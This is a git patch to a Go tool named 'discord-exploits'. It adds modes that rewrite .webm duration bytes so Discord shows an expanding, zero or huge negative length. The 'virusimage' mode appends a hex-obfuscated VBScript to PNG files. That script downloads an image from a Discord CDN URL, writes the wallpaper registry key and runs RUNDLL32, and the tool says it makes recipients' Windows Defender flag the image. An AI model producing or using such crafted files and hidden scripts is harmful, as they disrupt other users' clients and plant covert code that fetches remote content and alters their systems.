From e840303ea62c9222ba4eda82f457a9a16e96a936 Mon Sep 17 00:00:00 2001 From: Schmenn Date: Sun, 10 Jan 2021 21:18:44 +0100 Subject: [PATCH] 2 new modes [-]skipArgs as it does not work [^] moved smaller functions to /modules [+] zerovideo mode [+] negativevideo mode [^] made virusimage prettier --- .gitignore | 2 + exploits.go | 102 +++++++++++++++++------------------- exploits/expanding-video.go | 41 ++++----------- exploits/negative-video.go | 39 ++++++++++++++ exploits/virus-image.go | 32 +++++++++-- exploits/zero-video.go | 39 ++++++++++++++ modules/error.go | 8 +++ modules/help.go | 23 ++++++++ modules/name.go | 19 +++++++ modules/welcome.go | 19 +++++++ 10 files changed, 236 insertions(+), 88 deletions(-) create mode 100644 exploits/negative-video.go create mode 100644 exploits/zero-video.go create mode 100644 modules/error.go create mode 100644 modules/help.go create mode 100644 modules/name.go create mode 100644 modules/welcome.go diff --git a/.gitignore b/.gitignore index 8484d4e..9959e29 100644 --- a/.gitignore +++ b/.gitignore @@ -18,3 +18,5 @@ # vendor/ *.png + +*.bat diff --git a/exploits.go b/exploits.go index 27f63ad..69aef9b 100644 --- a/exploits.go +++ b/exploits.go @@ -3,6 +3,7 @@ package main import ( "fmt" "github.com/Schmenn/discord-exploits/exploits" + "github.com/Schmenn/discord-exploits/modules" "os" "strings" ) @@ -11,6 +12,7 @@ var ( quiet bool = false inputFile string = "no input file provided" mode string = "no mode specified" + //skipArg int = 0 ) func main() { @@ -18,77 +20,51 @@ func main() { handleArgs(args, &quiet) //fmt.Println(quiet) if !quiet { - welcome() + modules.Welcome() //exploits.RunExpandingVideoTask() } - fmt.Print("\n", inputFile, "\n") - fmt.Println(mode) + fmt.Println("input file: " + inputFile) + fmt.Println("mode: " + mode) initCommand(inputFile, mode) } -func welcome() { - fmt.Println("Discord Exploits --- made by Schmenn") - fmt.Println(" _ _ _") - fmt.Println(" | | (_) |") - fmt.Println(" _____ ___ __ | | ___ _| |_ ___") - fmt.Println(" / _ \\ \\/ / '_ \\| |/ _ \\| | __/ __|") - fmt.Println(" | __/> <| |_) | | (_) | | |_\\__ \\") - fmt.Println(" \\___/_/\\_\\ .__/|_|\\___/|_|\\__|___/") - fmt.Println(" | |") - fmt.Println(" |_|") -} - func handleArgs(args []string, quiet *bool) { - var skipArg int = 0 -Loop: - if skipArg > 0 { + + /*if skipArg > 0 { skipArg = skipArg - 1 - goto Loop - } else { - for i, s := range args { - switch s { - // quiet - case "-q": - *quiet = true - case "--quiet": - *quiet = true + return + }*/ + for i, s := range args { + switch s { + // quiet + case "-q": + *quiet = true + case "--quiet": + *quiet = true - // Input File - case "-i": - skipArg = skipArg + 1 - inputFile = args[i+1] + // Input File + case "-i": + //skipArg++ + inputFile = args[i+1] - // Mode Selection - case "-m": - skipArg = skipArg + 1 - mode = args[i+1] + // Mode Selection + case "-m": + //skipArg++ + mode = args[i+1] - // Help Message - case "-h": - help() - *quiet = true - return + // Help Message + case "-h": + modules.Help(os.Args[0]) + *quiet = true + return - default: - //fmt.Println("unused argument provided, noone cares tho") - break - } + default: + break } } -} -func help() { - fmt.Println("Discord-Exploits Help") - fmt.Println("") - fmt.Println("-q doesn't show welcome screen") - fmt.Println("-i provide input file") - fmt.Println("-m specify mode") - fmt.Println("") - fmt.Println("modes:") - fmt.Println(" expandingvideo takes input video (.webm) and edits it so discord will keep making it longer") - fmt.Println(" virusimage takes an image (.png) and makes other users' windows defender think it's a virus") } func initCommand(inputFile string, mode string) { @@ -102,6 +78,22 @@ func initCommand(inputFile string, mode string) { } else { fmt.Println("File is not a webm, check -h") } + case "negativevideo": + if strings.HasSuffix(inputFile, ".webm") { + fmt.Println("editing video.") + exploits.RunNegativeVideoTask(inputFile) + fmt.Println("completed task.") + } else { + fmt.Println("File is not a webm, check -h") + } + case "zerovideo": + if strings.HasSuffix(inputFile, ".webm") { + fmt.Println("editing video.") + exploits.RunZeroVideoTask(inputFile) + fmt.Println("completed task.") + } else { + fmt.Println("File is not a webm, check -h") + } case "virusimage": if strings.HasSuffix(inputFile, ".png") { fmt.Println("editing photo.") diff --git a/exploits/expanding-video.go b/exploits/expanding-video.go index 3843b38..d28dd2e 100644 --- a/exploits/expanding-video.go +++ b/exploits/expanding-video.go @@ -5,52 +5,33 @@ import ( "fmt" "io/ioutil" "os" - "math/rand" - "time" + "github.com/Schmenn/discord-exploits/modules" ) -// RunExpandingVideoTask edits file +// RunExpandingVideoTask edits file so that it keeps expanding while it's getting played func RunExpandingVideoTask(fileName string) { data, err := ioutil.ReadFile(fileName) - Check(err) + modules.Check(err) index := bytes.Index(data, []byte("\x44\x89\x88")) if index == -1{ fmt.Println("could not find the part of the file that needs to be modified, exiting") return } - data[index+3] = 63 - data[index+4] = 240 - data[index+5] = 0 - data[index+6] = 0 - data[index+7] = 0 - data[index+8] = 0 - data[index+9] = 0 + data[index+3] = 63 + data[index+4] = 240 + data[index+5] = 0 + data[index+6] = 0 + data[index+7] = 0 + data[index+8] = 0 + data[index+9] = 0 data[index+10] = 0 - name := CreateName("webm") + name := modules.CreateName("webm") fmt.Println(name) ioutil.WriteFile(name, data, os.FileMode(int(0777))) } - -// CreateName generates a random file name -func CreateName(extension string) string { - charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" - b := make([]byte, 6) - rand.Seed(time.Now().Unix()) - for i := range b { - b[i] = charset[rand.Intn(len(charset))] - } - return string(b)+"."+extension -} - -// Check Error Handling -func Check(e error) { - if e != nil { - panic(e) - } -} diff --git a/exploits/negative-video.go b/exploits/negative-video.go new file mode 100644 index 0000000..03881af --- /dev/null +++ b/exploits/negative-video.go @@ -0,0 +1,39 @@ +package exploits + +import ( + "bytes" + "fmt" + "io/ioutil" + "os" + "github.com/Schmenn/discord-exploits/modules" +) + +// RunNegativeVideoTask edits file so it has got a huge negative duration +func RunNegativeVideoTask(fileName string) { + + data, err := ioutil.ReadFile(fileName) + modules.Check(err) + index := bytes.Index(data, []byte("\x44\x89\x88")) + if index == -1{ + fmt.Println("could not find the part of the file that needs to be modified, exiting") + fmt.Println("are you sure the file is actually a webm?") + return + } + + + data[index+3] = 66 + data[index+4] = 255 + data[index+5] = 176 + data[index+6] = 96 + data[index+7] = 0 + data[index+8] = 0 + data[index+9] = 0 + data[index+10] = 0 + + name := modules.CreateName("webm") + + fmt.Println(name) + + ioutil.WriteFile(name, data, os.FileMode(int(0777))) + +} diff --git a/exploits/virus-image.go b/exploits/virus-image.go index 0554e93..a3e1042 100644 --- a/exploits/virus-image.go +++ b/exploits/virus-image.go @@ -4,14 +4,40 @@ import ( "fmt" "io/ioutil" "os" + "github.com/Schmenn/discord-exploits/modules" ) // RunVirusImageTask edits file func RunVirusImageTask(fileName string) { data, err := ioutil.ReadFile(fileName) - Check(err) - data = append(data, []byte("\x0D\x0A\x53\x65\x74\x20\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x20\x3D\x20\x43\x72\x65\x61\x74\x65\x4F\x62\x6A\x65\x63\x74\x28\x22\x57\x53\x63\x72\x69\x70\x74\x2E\x53\x68\x65\x6C\x6C\x22\x29\x0D\x0A\x53\x65\x74\x20\x6F\x62\x6A\x45\x6E\x76\x20\x3D\x20\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x2E\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x28\x22\x55\x73\x65\x72\x22\x29\x0D\x0A\x20\x0D\x0A\x73\x74\x72\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x20\x3D\x20\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x2E\x45\x78\x70\x61\x6E\x64\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x53\x74\x72\x69\x6E\x67\x73\x28\x22\x25\x74\x65\x6D\x70\x25\x22\x29\x0D\x0A\x20\x0D\x0A\x64\x69\x6D\x20\x78\x48\x74\x74\x70\x3A\x20\x53\x65\x74\x20\x78\x48\x74\x74\x70\x20\x3D\x20\x63\x72\x65\x61\x74\x65\x6F\x62\x6A\x65\x63\x74\x28\x22\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50\x22\x29\x0D\x0A\x64\x69\x6D\x20\x62\x53\x74\x72\x6D\x3A\x20\x53\x65\x74\x20\x62\x53\x74\x72\x6D\x20\x3D\x20\x63\x72\x65\x61\x74\x65\x6F\x62\x6A\x65\x63\x74\x28\x22\x41\x64\x6F\x64\x62\x2E\x53\x74\x72\x65\x61\x6D\x22\x29\x0D\x0A\x78\x48\x74\x74\x70\x2E\x4F\x70\x65\x6E\x20\x22\x47\x45\x54\x22\x2C\x20\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x63\x64\x6E\x2E\x64\x69\x73\x63\x6F\x72\x64\x61\x70\x70\x2E\x63\x6F\x6D\x2F\x65\x6D\x6F\x6A\x69\x73\x2F\x36\x38\x31\x35\x37\x37\x36\x32\x35\x33\x39\x34\x38\x37\x32\x33\x37\x30\x2E\x70\x6E\x67\x3F\x76\x3D\x31\x22\x2C\x20\x46\x61\x6C\x73\x65\x0D\x0A\x78\x48\x74\x74\x70\x2E\x53\x65\x6E\x64\x0D\x0A\x20\x0D\x0A\x77\x69\x74\x68\x20\x62\x53\x74\x72\x6D\x0D\x0A\x20\x20\x20\x20\x2E\x74\x79\x70\x65\x20\x3D\x20\x31\x20\x27\x2F\x2F\x62\x69\x6E\x61\x72\x79\x0D\x0A\x20\x20\x20\x20\x2E\x6F\x70\x65\x6E\x0D\x0A\x20\x20\x20\x20\x2E\x77\x72\x69\x74\x65\x20\x78\x48\x74\x74\x70\x2E\x72\x65\x73\x70\x6F\x6E\x73\x65\x42\x6F\x64\x79\x0D\x0A\x20\x20\x20\x20\x2E\x73\x61\x76\x65\x74\x6F\x66\x69\x6C\x65\x20\x73\x74\x72\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x20\x2B\x20\x22\x5C\x6D\x79\x49\x6D\x61\x67\x65\x2E\x70\x6E\x67\x22\x2C\x20\x32\x20\x27\x2F\x2F\x6F\x76\x65\x72\x77\x72\x69\x74\x65\x0D\x0A\x65\x6E\x64\x20\x77\x69\x74\x68\x0D\x0A\x20\x0D\x0A\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x2E\x52\x65\x67\x57\x72\x69\x74\x65\x20\x22\x48\x4B\x43\x55\x5C\x43\x6F\x6E\x74\x72\x6F\x6C\x20\x50\x61\x6E\x65\x6C\x5C\x44\x65\x73\x6B\x74\x6F\x70\x5C\x57\x61\x6C\x6C\x70\x61\x70\x65\x72\x22\x2C\x20\x73\x74\x72\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x20\x2B\x20\x22\x5C\x6D\x79\x49\x6D\x61\x67\x65\x2E\x70\x6E\x67\x22\x0D\x0A\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x2E\x52\x75\x6E\x20\x22\x25\x77\x69\x6E\x64\x69\x72\x25\x5C\x53\x79\x73\x74\x65\x6D\x33\x32\x5C\x52\x55\x4E\x44\x4C\x4C\x33\x32\x2E\x45\x58\x45\x20\x75\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\x2C\x55\x70\x64\x61\x74\x65\x50\x65\x72\x55\x73\x65\x72\x53\x79\x73\x74\x65\x6D\x50\x61\x72\x61\x6D\x65\x74\x65\x72\x73\x22\x2C\x20\x31\x2C\x20\x54\x72\x75\x65")...) - name := CreateName("png") + modules.Check(err) + data = append(data, []byte("\x0D\x0A\x53\x65\x74\x20\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x20\x3D\x20\x43\x72\x65\x61\x74\x65\x4F\x62\x6A\x65\x63" + + "\x74\x28\x22\x57\x53\x63\x72\x69\x70\x74\x2E\x53\x68\x65\x6C\x6C\x22\x29\x0D\x0A\x53\x65\x74\x20\x6F\x62\x6A\x45" + + "\x6E\x76\x20\x3D\x20\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x2E\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x28\x22\x55" + + "\x73\x65\x72\x22\x29\x0D\x0A\x20\x0D\x0A\x73\x74\x72\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x20\x3D\x20\x6F\x62\x6A" + + "\x53\x68\x65\x6C\x6C\x2E\x45\x78\x70\x61\x6E\x64\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x53\x74\x72\x69\x6E" + + "\x67\x73\x28\x22\x25\x74\x65\x6D\x70\x25\x22\x29\x0D\x0A\x20\x0D\x0A\x64\x69\x6D\x20\x78\x48\x74\x74\x70\x3A\x20" + + "\x53\x65\x74\x20\x78\x48\x74\x74\x70\x20\x3D\x20\x63\x72\x65\x61\x74\x65\x6F\x62\x6A\x65\x63\x74\x28\x22\x4D\x69" + + "\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50\x22\x29\x0D\x0A\x64\x69\x6D\x20\x62\x53\x74\x72\x6D" + + "\x3A\x20\x53\x65\x74\x20\x62\x53\x74\x72\x6D\x20\x3D\x20\x63\x72\x65\x61\x74\x65\x6F\x62\x6A\x65\x63\x74\x28\x22" + + "\x41\x64\x6F\x64\x62\x2E\x53\x74\x72\x65\x61\x6D\x22\x29\x0D\x0A\x78\x48\x74\x74\x70\x2E\x4F\x70\x65\x6E\x20\x22" + + "\x47\x45\x54\x22\x2C\x20\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x63\x64\x6E\x2E\x64\x69\x73\x63\x6F\x72\x64\x61\x70" + + "\x70\x2E\x63\x6F\x6D\x2F\x65\x6D\x6F\x6A\x69\x73\x2F\x36\x38\x31\x35\x37\x37\x36\x32\x35\x33\x39\x34\x38\x37\x32" + + "\x33\x37\x30\x2E\x70\x6E\x67\x3F\x76\x3D\x31\x22\x2C\x20\x46\x61\x6C\x73\x65\x0D\x0A\x78\x48\x74\x74\x70\x2E\x53" + + "\x65\x6E\x64\x0D\x0A\x20\x0D\x0A\x77\x69\x74\x68\x20\x62\x53\x74\x72\x6D\x0D\x0A\x20\x20\x20\x20\x2E\x74\x79\x70" + + "\x65\x20\x3D\x20\x31\x20\x27\x2F\x2F\x62\x69\x6E\x61\x72\x79\x0D\x0A\x20\x20\x20\x20\x2E\x6F\x70\x65\x6E\x0D\x0A" + + "\x20\x20\x20\x20\x2E\x77\x72\x69\x74\x65\x20\x78\x48\x74\x74\x70\x2E\x72\x65\x73\x70\x6F\x6E\x73\x65\x42\x6F\x64" + + "\x79\x0D\x0A\x20\x20\x20\x20\x2E\x73\x61\x76\x65\x74\x6F\x66\x69\x6C\x65\x20\x73\x74\x72\x44\x69\x72\x65\x63\x74" + + "\x6F\x72\x79\x20\x2B\x20\x22\x5C\x6D\x79\x49\x6D\x61\x67\x65\x2E\x70\x6E\x67\x22\x2C\x20\x32\x20\x27\x2F\x2F\x6F" + + "\x76\x65\x72\x77\x72\x69\x74\x65\x0D\x0A\x65\x6E\x64\x20\x77\x69\x74\x68\x0D\x0A\x20\x0D\x0A\x6F\x62\x6A\x53\x68" + + "\x65\x6C\x6C\x2E\x52\x65\x67\x57\x72\x69\x74\x65\x20\x22\x48\x4B\x43\x55\x5C\x43\x6F\x6E\x74\x72\x6F\x6C\x20\x50" + + "\x61\x6E\x65\x6C\x5C\x44\x65\x73\x6B\x74\x6F\x70\x5C\x57\x61\x6C\x6C\x70\x61\x70\x65\x72\x22\x2C\x20\x73\x74\x72" + + "\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x20\x2B\x20\x22\x5C\x6D\x79\x49\x6D\x61\x67\x65\x2E\x70\x6E\x67\x22\x0D\x0A" + + "\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x2E\x52\x75\x6E\x20\x22\x25\x77\x69\x6E\x64\x69\x72\x25\x5C\x53\x79\x73\x74\x65" + + "\x6D\x33\x32\x5C\x52\x55\x4E\x44\x4C\x4C\x33\x32\x2E\x45\x58\x45\x20\x75\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\x2C" + + "\x55\x70\x64\x61\x74\x65\x50\x65\x72\x55\x73\x65\x72\x53\x79\x73\x74\x65\x6D\x50\x61\x72\x61\x6D\x65\x74\x65\x72" + + "\x73\x22\x2C\x20\x31\x2C\x20\x54\x72\x75\x65")...) + name := modules.CreateName("png") fmt.Println(name) ioutil.WriteFile(name, data, os.FileMode(int(0777))) } diff --git a/exploits/zero-video.go b/exploits/zero-video.go new file mode 100644 index 0000000..a6e9505 --- /dev/null +++ b/exploits/zero-video.go @@ -0,0 +1,39 @@ +package exploits + +import ( + "bytes" + "fmt" + "io/ioutil" + "os" + "github.com/Schmenn/discord-exploits/modules" +) + +// RunZeroVideoTask edits file so it has got a duration of 0 +func RunZeroVideoTask(fileName string) { + + data, err := ioutil.ReadFile(fileName) + modules.Check(err) + index := bytes.Index(data, []byte("\x44\x89\x88")) + if index == -1{ + fmt.Println("could not find the part of the file that needs to be modified, exiting") + fmt.Println("are you sure the file is actually a webm?") + return + } + + + data[index+3] = 0 + data[index+4] = 0 + data[index+5] = 0 + data[index+6] = 0 + data[index+7] = 0 + data[index+8] = 0 + data[index+9] = 0 + data[index+10] = 0 + + name := modules.CreateName("webm") + + fmt.Println(name) + + ioutil.WriteFile(name, data, os.FileMode(int(0777))) + +} diff --git a/modules/error.go b/modules/error.go new file mode 100644 index 0000000..9f81e69 --- /dev/null +++ b/modules/error.go @@ -0,0 +1,8 @@ +package modules + +// Check Error Handling +func Check(e error) { + if e != nil { + panic(e) + } +} diff --git a/modules/help.go b/modules/help.go new file mode 100644 index 0000000..0b8c93a --- /dev/null +++ b/modules/help.go @@ -0,0 +1,23 @@ +package modules + +import ( + "fmt" +) + +//Help program usage +func Help(progName string) { + fmt.Println("Discord-Exploits Help") + fmt.Println(" Usage: " + progName + " -i -m [-q]") + fmt.Println("") + fmt.Println("--quiet -q doesn't show welcome screen") + fmt.Println("-i provide input file") + fmt.Println("-m specify mode") + fmt.Println("") + fmt.Println("modes:") + fmt.Println(" video:") + fmt.Println(" expandingvideo takes input video (.webm) and edits it so discord will keep making it longer") + fmt.Println(" negativevideo takes input video (.webm) and edits it so discord will think it has got a huge negative duration") + fmt.Println(" zerovideo takes input video (.webm) and edits it so discord will think it has got a 0s duration") + fmt.Println(" image:") + fmt.Println(" virusimage takes an image (.png) and makes other users' windows defender think it's a virus\n ") +} diff --git a/modules/name.go b/modules/name.go new file mode 100644 index 0000000..3210deb --- /dev/null +++ b/modules/name.go @@ -0,0 +1,19 @@ +package modules + +import( + "math/rand" + "time" + +) + + +// CreateName generates a random file name +func CreateName(extension string) string { + charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" + b := make([]byte, 6) + rand.Seed(time.Now().Unix()) + for i := range b { + b[i] = charset[rand.Intn(len(charset))] + } + return string(b)+"."+extension +} diff --git a/modules/welcome.go b/modules/welcome.go new file mode 100644 index 0000000..55a4b27 --- /dev/null +++ b/modules/welcome.go @@ -0,0 +1,19 @@ +package modules + +import ( + "fmt" +) + +//Welcome greets the user on startup +func Welcome() { + fmt.Println("Discord Exploits --- made by Schmenn") + fmt.Println(" _ _ _") + fmt.Println(" | | (_) |") + fmt.Println(" _____ ___ __ | | ___ _| |_ ___") + fmt.Println(" / _ \\ \\/ / '_ \\| |/ _ \\| | __/ __|") + fmt.Println(" | __/> <| |_) | | (_) | | |_\\__ \\") + fmt.Println(" \\___/_/\\_\\ .__/|_|\\___/|_|\\__|___/") + fmt.Println(" | |") + fmt.Println(" |_|") + +}